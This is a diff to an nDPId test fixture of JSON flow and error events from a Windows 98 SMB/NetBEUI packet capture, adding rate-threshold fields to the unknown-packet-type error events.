00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgAA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796586103} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409796586103,"packet_id":3,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796586103} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAABwAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":4,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796605834} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409796605834,"packet_id":4,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409796605834} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACgAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgIA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":5,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797075407} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409797075407,"packet_id":5,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797075407} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACQAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAw=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":6,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797075462} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409797075462,"packet_id":6,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797075462} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgAA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":7,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797075487} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409797075487,"packet_id":7,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797075487} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":7,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAABwAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":8,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797101878} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409797101878,"packet_id":8,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409797101878} 00369{"packet_event_id":1,"packet_event_name":"packet","packet_id":8,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409796586005,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACgAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgIA=="} 00769{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409797553896,"flow_src_last_pkt_time":1576409797553896,"flow_dst_last_pkt_time":1576409797553896,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409797553896,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.2","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00598{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1576409797553896,"flow_dst_last_pkt_time":1576409797553896,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"thread_ts_usec":1576409797553896,"pkt":"AFBW6YlWAFBWM3ieCABFAABgBwAAAIAR07fAqO+BwKjvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} @@ -24,330 +24,84 @@ 00734{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409798047534,"flow_src_last_pkt_time":1576409798047534,"flow_dst_last_pkt_time":1576409798047534,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409798047534,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":3} 00528{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1576409798047534,"flow_dst_last_pkt_time":1576409798047534,"flow_idle_time":140000000,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":8,"thread_ts_usec":1576409798047534,"pkt":"AQBeAAACAFBWM3ieCABFAAAcCwAAAIABn7TAqO+B4AAAAgoA9f8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00840{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409798047534,"flow_src_last_pkt_time":1576409798047534,"flow_dst_last_pkt_time":1576409798047534,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409798047534,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","ndpi": {"confidence": {"6":"DPI"},"proto":"ICMP","proto_id":"81","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":14,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409798642006} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409798642006,"packet_id":14,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409798642006} 00370{"packet_event_id":1,"packet_event_name":"packet","packet_id":14,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409798047534,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHg=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":19,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409799428975} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409799428975,"packet_id":19,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409799428975} 00370{"packet_event_id":1,"packet_event_name":"packet","packet_id":19,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409799059459,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHg=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":20,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409800348591} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409800348591,"packet_id":20,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409800348591} 00370{"packet_event_id":1,"packet_event_name":"packet","packet_id":20,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"thread_ts_usec":1576409799059459,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHg=="} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409800543745,"flow_src_last_pkt_time":1576409800543745,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409800543745,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00608{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1576409800543745,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"thread_ts_usec":1576409800543745,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgEAAAAIARybrAqO+BwKjv\/wCJAIkATAq6AAQpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} 00900{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409800543745,"flow_src_last_pkt_time":1576409800543745,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409800543745,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System","hostname":"mdjr98"}} 00608{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_src_last_pkt_time":1576409800544216,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"thread_ts_usec":1576409800544216,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgEQAAAIARyLrAqO+BwKjv\/wCJAIkATHuvAAIpEAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAaAAMCo74E="} 00608{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_src_last_pkt_time":1576409800544288,"flow_dst_last_pkt_time":1576409800543745,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"thread_ts_usec":1576409800544288,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgEgAAAIARx7rAqO+BwKjv\/wCJAIkATA22AAgpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":33,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":166,"global_ts_usec":1576409802223804} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409802223804,"packet_id":33,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":166,"global_ts_usec":1576409802223804} 00528{"packet_event_id":1,"packet_event_name":"packet","packet_id":33,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":180,"pkt_type":166,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"thread_ts_usec":1576409802083383,"pkt":"AwAAAAABAFBWM3ieAKbw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQNg6gAATURKUjk4AAAAAAAAAAAAAAQAAyBAABUEVaoA"} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409807597015,"flow_src_last_pkt_time":1576409807597015,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":201,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":201,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":201,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409807597015,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00785{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":1576409807597015,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"thread_ts_usec":1576409807597015,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADlJAAAAIARtTXAqO+BwKjv\/wCKAIoA0Qn+EQIADMCo74EAigC7AAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQNg6gAATURKUjk4AAAAAAAAAAAAAAQAAyBAABUEVaoA"} 01030{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1576409807597015,"flow_src_last_pkt_time":1576409807597015,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":201,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":201,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":201,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409807597015,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"NetBIOS.SMBv1","proto_id":"10.16","encrypted":0,"breed":"Dangerous","category_id":18,"category":"System","hostname":"mdjr98"}} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":43,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409811132208} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409811132208,"packet_id":43,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409811132208} 00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":43,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":44,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409811517809} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409811517809,"packet_id":44,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409811517809} 00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":44,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":45,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409811901809} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409811901809,"packet_id":45,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409811901809} 00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":45,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":46,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409812669822} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409812669822,"packet_id":46,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409812669822} 00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":46,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":47,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409813829815} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":47,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":48,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409815308846} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":48,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":49,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409817241324} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":49,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":50,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409819547009} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":50,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":77,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1576409807597015,"pkt":"AFBWM3ieAAwp1HmyAE3g4AP\/\/wBKAAQAAAAAAFBWM3ieBVAAAAAAAAwp1HmyBVL\/U01CKwAAAAAAAAAAAAAAAAACAQwAAAAA0AAyAADBAwEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":51,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":77,"global_ts_usec":1576409822253028} 